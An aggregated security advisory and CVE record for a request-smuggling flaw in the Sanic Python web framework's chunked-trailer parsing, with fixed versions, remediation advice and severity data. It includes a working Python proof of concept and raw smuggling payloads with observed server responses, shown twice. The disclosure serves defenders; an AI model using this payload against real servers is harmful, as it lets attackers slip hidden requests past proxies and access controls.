Vulnerability-Lookup

GHSA-WMJ6-G64G-J7Q5

Vulnerability from github – Published: 2026-09-17 14:59 – Updated: 2026-09-17 14:59

Summary

sanic chunked trailer request smuggling allows hidden second request execution

Details

Description

Sanic's HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating 0\r\n chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer POST / request that correctly returns 405 Method Not Allowed is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.

The issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected 405 for the outer POST /, then a separate 200 OK for a hidden GET /. A second exploit variant changes the hidden request path and receives a real 404 Not Found, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from GET to :GET, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.

Steps To Reproduce

Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on 127.0.0.1:9381 and the root route allowed GET / but not POST /.
From the package root, run the provided PoC:

python3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt

Review the baseline case in evidence/vuln_001_chunked_trailer_smuggle.run.txt. A normal chunked request with 0\r\n\r\n returns exactly one response block:

=== CASE: baseline_no_trailer ===
Received response blocks: 1
HTTP/1.1 405 Method Not Allowed

Review the exploit case that hides GET / in the trailer area:

=== CASE: exploit_smuggled_root ===

The PoC sends a single TCP payload containing:

POST / HTTP/1.1
Host: 127.0.0.1:9381
Connection: keep-alive
Transfer-Encoding: chunked

1
X
0
a:GET / HTTP/1.1
Host: 127.0.0.1:9381

Confirm that Sanic returns two response blocks from that one send:

Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 200 OK
...
{"test":true}

Review the second exploit case that changes the smuggled request path to a nonexistent route:

=== CASE: exploit_smuggled_404 ===

Confirm that Sanic again returns two response blocks and that the second response is a real routed 404 Not Found for the attacker-controlled hidden path. 7. Review the control case with a two-character trailer field name:

=== CASE: offset_control_two_char_field_name ===

Confirm that the second request is now interpreted as :GET /, producing a second 405 with Method :GET not allowed for URL /. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.

Recommendations

After parsing the terminating 0 chunk, Sanic must continue parsing and fully consuming the trailer-part until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating 0\r\n other than the expected final empty line, and then close the connection instead of keeping it alive.

Add regression coverage for all three cases shown in the evidence: a normal 0\r\n\r\n chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.

poc

#!/usr/bin/env python3
"""Proof of concept for HTTP/1.1 chunked trailer request injection."""

from __future__ import annotations

import socket
from dataclasses import dataclass
from typing import Iterable


TARGET = "sanic-org/sanic"
BASE_URL = "http://127.0.0.1:9381"
HOST = "127.0.0.1"
PORT = 9381
TIMEOUT = 1.0
PROXY = None
AUTH_HEADERS: dict[str, str] = {}


@dataclass
class Case:
    name: str
    payload: bytes
    expected_responses: int
    expected_markers: tuple[bytes, ...]


def build_prefix() -> bytes:
    return (
        b"POST / HTTP/1.1\r\n"
        + f"Host: {HOST}:{PORT}\r\n".encode()
        + b"Connection: keep-alive\r\n"
        + b"Transfer-Encoding: chunked\r\n"
        + b"\r\n"
        + b"1\r\n"
        + b"X\r\n"
    )


def build_case_payload(path: str | None = None, field_name: str = "a") -> bytes:
    prefix = build_prefix()
    if path is None:
        return prefix + b"0\r\n\r\n"
    return (
        prefix
        + b"0\r\n"
        + f"{field_name}:GET {path} HTTP/1.1\r\n".encode()
        + f"Host: {HOST}:{PORT}\r\n".encode()
        + b"\r\n"
    )


def send_payload(payload: bytes) -> bytes:
    response = bytearray()
    with socket.create_connection((HOST, PORT), timeout=3) as sock:
        sock.sendall(payload)
        sock.settimeout(TIMEOUT)
        while True:
            try:
                chunk = sock.recv(4096)
            except TimeoutError:
                break
            if not chunk:
                break
            response.extend(chunk)
    return bytes(response)


def count_http_responses(response: bytes) -> int:
    return response.count(b"HTTP/1.1 ")


def ensure_markers(case: Case, response: bytes) -> None:
    actual_count = count_http_responses(response)
    if actual_count != case.expected_responses:
        raise SystemExit(
            f"[FAIL] {case.name}: expected {case.expected_responses} responses, got {actual_count}"
        )
    for marker in case.expected_markers:
        if marker not in response:
            raise SystemExit(
                f"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}"
            )


def render_payload(payload: bytes) -> str:
    return payload.decode("latin1", "replace")


def render_response(response: bytes) -> str:
    return response.decode("latin1", "replace")


def iter_cases() -> Iterable[Case]:
    yield Case(
        name="baseline_no_trailer",
        payload=build_case_payload(),
        expected_responses=1,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"Method POST not allowed for URL /",
        ),
    )
    yield Case(
        name="exploit_smuggled_root",
        payload=build_case_payload("/"),
        expected_responses=2,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"HTTP/1.1 200 OK",
            b'{"test":true}',
        ),
    )
    yield Case(
        name="exploit_smuggled_404",
        payload=build_case_payload("/this-path-should-not-exist"),
        expected_responses=2,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"HTTP/1.1 404 Not Found",
            b"Requested URL /this-path-should-not-exist not found",
        ),
    )
    yield Case(
        name="offset_control_two_char_field_name",
        payload=build_case_payload("/", field_name="ab"),
        expected_responses=2,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"Method :GET not allowed for URL /",
        ),
    )


def main() -> None:
    print(f"Target: {TARGET}")
    print(f"Base URL: {BASE_URL}")
    print()
    for case in iter_cases():
        print(f"=== CASE: {case.name} ===")
        print("Sent payload:")
        print(render_payload(case.payload))
        response = send_payload(case.payload)
        ensure_markers(case, response)
        print(f"Received response blocks: {count_http_responses(response)}")
        print("Raw response:")
        print(render_response(response))
        print("[OK] Case verified")
        print()


if __name__ == "__main__":
    main()

Evidence Files

The attachment package includes the exact PoC and the full runtime output from the verified local execution.

evidence/vuln_001_chunked_trailer_smuggle.py: full PoC used for the verified run.
evidence/vuln_001_chunked_trailer_smuggle.run.txt: runtime output showing the baseline behavior, the successful smuggled GET / execution, the successful smuggled GET /this-path-should-not-exist execution, and the trailer-offset control case.

Observed baseline behavior:

=== CASE: baseline_no_trailer ===
Received response blocks: 1
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

Observed hidden second request execution:

=== CASE: exploit_smuggled_root ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 200 OK
...
{"test":true}

Observed hidden attacker-controlled path execution:

=== CASE: exploit_smuggled_404 ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 404 Not Found
...
Requested URL /this-path-should-not-exist not found

Observed trailer-offset control:

=== CASE: offset_control_two_char_field_name ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 405 Method Not Allowed
...
Method :GET not allowed for URL /

Impact

An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.

This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sanic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sanic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.12.0"
            },
            {
              "fixed": "25.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:59:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nSanic\u0027s HTTP/1.1 chunked-body handling does not fully consume the `trailer-part` after the terminating `0\\r\\n` chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer `POST /` request that correctly returns `405 Method Not Allowed` is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.\n\nThe issue is a request-boundary integrity failure in Sanic\u0027s core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected `405` for the outer `POST /`, then a separate `200 OK` for a hidden `GET /`. A second exploit variant changes the hidden request path and receives a real `404 Not Found`, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from `GET` to `:GET`, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.\n\n## Steps To Reproduce\n\n1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on `127.0.0.1:9381` and the root route allowed `GET /` but not `POST /`.\n2. From the package root, run the provided PoC:\n\n```bash\npython3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt\n```\n\n3. Review the baseline case in `evidence/vuln_001_chunked_trailer_smuggle.run.txt`. A normal chunked request with `0\\r\\n\\r\\n` returns exactly one response block:\n\n```text\n=== CASE: baseline_no_trailer ===\nReceived response blocks: 1\nHTTP/1.1 405 Method Not Allowed\n```\n\n4. Review the exploit case that hides `GET /` in the trailer area:\n\n```text\n=== CASE: exploit_smuggled_root ===\n```\n\nThe PoC sends a single TCP payload containing:\n\n```text\nPOST / HTTP/1.1\nHost: 127.0.0.1:9381\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n1\nX\n0\na:GET / HTTP/1.1\nHost: 127.0.0.1:9381\n```\n\n5. Confirm that Sanic returns two response blocks from that one send:\n\n```text\nReceived response blocks: 2\nHTTP/1.1 405 Method Not Allowed\n...\nHTTP/1.1 200 OK\n...\n{\"test\":true}\n```\n\n6. Review the second exploit case that changes the smuggled request path to a nonexistent route:\n\n```text\n=== CASE: exploit_smuggled_404 ===\n```\n\nConfirm that Sanic again returns two response blocks and that the second response is a real routed `404 Not Found` for the attacker-controlled hidden path.\n7. Review the control case with a two-character trailer field name:\n\n```text\n=== CASE: offset_control_two_char_field_name ===\n```\n\nConfirm that the second request is now interpreted as `:GET /`, producing a second `405` with `Method :GET not allowed for URL /`. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.\n\n## Recommendations\n\nAfter parsing the terminating `0` chunk, Sanic must continue parsing and fully consuming the `trailer-part` until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating `0\\r\\n` other than the expected final empty line, and then close the connection instead of keeping it alive.\n\nAdd regression coverage for all three cases shown in the evidence: a normal `0\\r\\n\\r\\n` chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.\n\n## poc\n\n```python\n#!/usr/bin/env python3\n\"\"\"Proof of concept for HTTP/1.1 chunked trailer request injection.\"\"\"\n\nfrom __future__ import annotations\n\nimport socket\nfrom dataclasses import dataclass\nfrom typing import Iterable\n\n\nTARGET = \"sanic-org/sanic\"\nBASE_URL = \"http://127.0.0.1:9381\"\nHOST = \"127.0.0.1\"\nPORT = 9381\nTIMEOUT = 1.0\nPROXY = None\nAUTH_HEADERS: dict[str, str] = {}\n\n\n@dataclass\nclass Case:\n    name: str\n    payload: bytes\n    expected_responses: int\n    expected_markers: tuple[bytes, ...]\n\n\ndef build_prefix() -\u003e bytes:\n    return (\n        b\"POST / HTTP/1.1\\r\\n\"\n        + f\"Host: {HOST}:{PORT}\\r\\n\".encode()\n        + b\"Connection: keep-alive\\r\\n\"\n        + b\"Transfer-Encoding: chunked\\r\\n\"\n        + b\"\\r\\n\"\n        + b\"1\\r\\n\"\n        + b\"X\\r\\n\"\n    )\n\n\ndef build_case_payload(path: str | None = None, field_name: str = \"a\") -\u003e bytes:\n    prefix = build_prefix()\n    if path is None:\n        return prefix + b\"0\\r\\n\\r\\n\"\n    return (\n        prefix\n        + b\"0\\r\\n\"\n        + f\"{field_name}:GET {path} HTTP/1.1\\r\\n\".encode()\n        + f\"Host: {HOST}:{PORT}\\r\\n\".encode()\n        + b\"\\r\\n\"\n    )\n\n\ndef send_payload(payload: bytes) -\u003e bytes:\n    response = bytearray()\n    with socket.create_connection((HOST, PORT), timeout=3) as sock:\n        sock.sendall(payload)\n        sock.settimeout(TIMEOUT)\n        while True:\n            try:\n                chunk = sock.recv(4096)\n            except TimeoutError:\n                break\n            if not chunk:\n                break\n            response.extend(chunk)\n    return bytes(response)\n\n\ndef count_http_responses(response: bytes) -\u003e int:\n    return response.count(b\"HTTP/1.1 \")\n\n\ndef ensure_markers(case: Case, response: bytes) -\u003e None:\n    actual_count = count_http_responses(response)\n    if actual_count != case.expected_responses:\n        raise SystemExit(\n            f\"[FAIL] {case.name}: expected {case.expected_responses} responses, got {actual_count}\"\n        )\n    for marker in case.expected_markers:\n        if marker not in response:\n            raise SystemExit(\n                f\"[FAIL] {case.name}: missing marker {marker.decode(\u0027latin1\u0027, \u0027replace\u0027)}\"\n            )\n\n\ndef render_payload(payload: bytes) -\u003e str:\n    return payload.decode(\"latin1\", \"replace\")\n\n\ndef render_response(response: bytes) -\u003e str:\n    return response.decode(\"latin1\", \"replace\")\n\n\ndef iter_cases() -\u003e Iterable[Case]:\n    yield Case(\n        name=\"baseline_no_trailer\",\n        payload=build_case_payload(),\n        expected_responses=1,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"Method POST not allowed for URL /\",\n        ),\n    )\n    yield Case(\n        name=\"exploit_smuggled_root\",\n        payload=build_case_payload(\"/\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"HTTP/1.1 200 OK\",\n            b\u0027{\"test\":true}\u0027,\n        ),\n    )\n    yield Case(\n        name=\"exploit_smuggled_404\",\n        payload=build_case_payload(\"/this-path-should-not-exist\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"HTTP/1.1 404 Not Found\",\n            b\"Requested URL /this-path-should-not-exist not found\",\n        ),\n    )\n    yield Case(\n        name=\"offset_control_two_char_field_name\",\n        payload=build_case_payload(\"/\", field_name=\"ab\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"Method :GET not allowed for URL /\",\n        ),\n    )\n\n\ndef main() -\u003e None:\n    print(f\"Target: {TARGET}\")\n    print(f\"Base URL: {BASE_URL}\")\n    print()\n    for case in iter_cases():\n        print(f\"=== CASE: {case.name} ===\")\n        print(\"Sent payload:\")\n        print(render_payload(case.payload))\n        response = send_payload(case.payload)\n        ensure_markers(case, response)\n        print(f\"Received response blocks: {count_http_responses(response)}\")\n        print(\"Raw response:\")\n        print(render_response(response))\n        print(\"[OK] Case verified\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Evidence Files\n\nThe attachment package includes the exact PoC and the full runtime output from the verified local execution.\n\n- `evidence/vuln_001_chunked_trailer_smuggle.py`: full PoC used for the verified run.\n- `evidence/vuln_001_chunked_trailer_smuggle.run.txt`: runtime output showing the baseline behavior, the successful smuggled `GET /` execution, the successful smuggled `GET /this-path-should-not-exist` execution, and the trailer-offset control case.\n\nObserved baseline behavior:\n\n```text\n=== CASE: baseline_no_trailer ===\nReceived response blocks: 1\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n```\n\nObserved hidden second request execution:\n\n```text\n=== CASE: exploit_smuggled_root ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 200 OK\n...\n{\"test\":true}\n```\n\nObserved hidden attacker-controlled path execution:\n\n```text\n=== CASE: exploit_smuggled_404 ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 404 Not Found\n...\nRequested URL /this-path-should-not-exist not found\n```\n\nObserved trailer-offset control:\n\n```text\n=== CASE: offset_control_two_char_field_name ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 405 Method Not Allowed\n...\nMethod :GET not allowed for URL /\n```\n\n## Impact\n\nAn attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.\n\nThis breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.",
  "id": "GHSA-wmj6-g64g-j7q5",
  "modified": "2026-09-17T14:59:16Z",
  "published": "2026-09-17T14:59:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/security/advisories/GHSA-wmj6-g64g-j7q5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/pull/3164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/pull/3165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/commit/47349d689d65fa1907977ac100e867894aeafb22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/commit/69a10d3b06babaa9e5f6d1af577364e9e53b6dea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/commit/a332796506c7c588b6930b02a8886e43eb8ea8d6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sanic-org/sanic"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/releases/tag/v24.12.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/releases/tag/v25.12.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sanic chunked trailer request smuggling allows hidden second request execution"
}

CVE-2026-85078 (GCVE-0-2026-85078)

Vulnerability from cvelistv5 – Published: 2026-09-17 14:28 – Updated: 2026-09-17 19:19

Title

sanic chunked trailer request smuggling allows hidden second request execution

Summary

Sanic is an opensource python web server/framework. In version 25.12.0, Sanic's core HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating zero chunk before reusing the keep-alive connection buffer. A remote unauthenticated client can place attacker-controlled bytes in that trailer region, causing Sanic to parse and route them as a hidden second request after the outer request. This breaks HTTP request-boundary integrity and can provide a request-smuggling primitive when Sanic is deployed behind intermediaries. This issue is fixed in version 25.12.1.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-17 17:06 UTC

CWE

CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

GitHub_M mitre root

References

8 references

URL	Tags
https://github.com/sanic-org/sanic/security/advis…	x_refsource_CONFIRM
https://github.com/sanic-org/sanic/pull/3164	x_refsource_MISC
https://github.com/sanic-org/sanic/pull/3165	x_refsource_MISC
https://github.com/sanic-org/sanic/commit/47349d6…	x_refsource_MISC
https://github.com/sanic-org/sanic/commit/69a10d3…	x_refsource_MISC
https://github.com/sanic-org/sanic/commit/a332796…	x_refsource_MISC
https://github.com/sanic-org/sanic/releases/tag/v…	x_refsource_MISC
https://github.com/sanic-org/sanic/releases/tag/v…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sanic-org	sanic	Affected: < 24.12.1 Affected: >= 25.12.0, < 25.12.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-85078",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-17T17:06:16.358452Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-17T19:19:53.849Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "sanic",
          "vendor": "sanic-org",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 24.12.1"
            },
            {
              "status": "affected",
              "version": "\u003e= 25.12.0, \u003c 25.12.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Sanic is an opensource python web server/framework. In version 25.12.0, Sanic\u0027s core HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating zero chunk before reusing the keep-alive connection buffer. A remote unauthenticated client can place attacker-controlled bytes in that trailer region, causing Sanic to parse and route them as a hidden second request after the outer request. This breaks HTTP request-boundary integrity and can provide a request-smuggling primitive when Sanic is deployed behind intermediaries. This issue is fixed in version 25.12.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-17T14:28:37.286Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sanic-org/sanic/security/advisories/GHSA-wmj6-g64g-j7q5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sanic-org/sanic/security/advisories/GHSA-wmj6-g64g-j7q5"
        },
        {
          "name": "https://github.com/sanic-org/sanic/pull/3164",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/pull/3164"
        },
        {
          "name": "https://github.com/sanic-org/sanic/pull/3165",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/pull/3165"
        },
        {
          "name": "https://github.com/sanic-org/sanic/commit/47349d689d65fa1907977ac100e867894aeafb22",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/commit/47349d689d65fa1907977ac100e867894aeafb22"
        },
        {
          "name": "https://github.com/sanic-org/sanic/commit/69a10d3b06babaa9e5f6d1af577364e9e53b6dea",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/commit/69a10d3b06babaa9e5f6d1af577364e9e53b6dea"
        },
        {
          "name": "https://github.com/sanic-org/sanic/commit/a332796506c7c588b6930b02a8886e43eb8ea8d6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/commit/a332796506c7c588b6930b02a8886e43eb8ea8d6"
        },
        {
          "name": "https://github.com/sanic-org/sanic/releases/tag/v24.12.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/releases/tag/v24.12.1"
        },
        {
          "name": "https://github.com/sanic-org/sanic/releases/tag/v25.12.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sanic-org/sanic/releases/tag/v25.12.1"
        }
      ],
      "source": {
        "advisory": "GHSA-wmj6-g64g-j7q5",
        "discovery": "UNKNOWN"
      },
      "title": "sanic chunked trailer request smuggling allows hidden second request execution"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-85078",
    "datePublished": "2026-09-17T14:28:37.286Z",
    "dateReserved": "2026-09-02T21:21:01.776Z",
    "dateUpdated": "2026-09-17T19:19:53.849Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted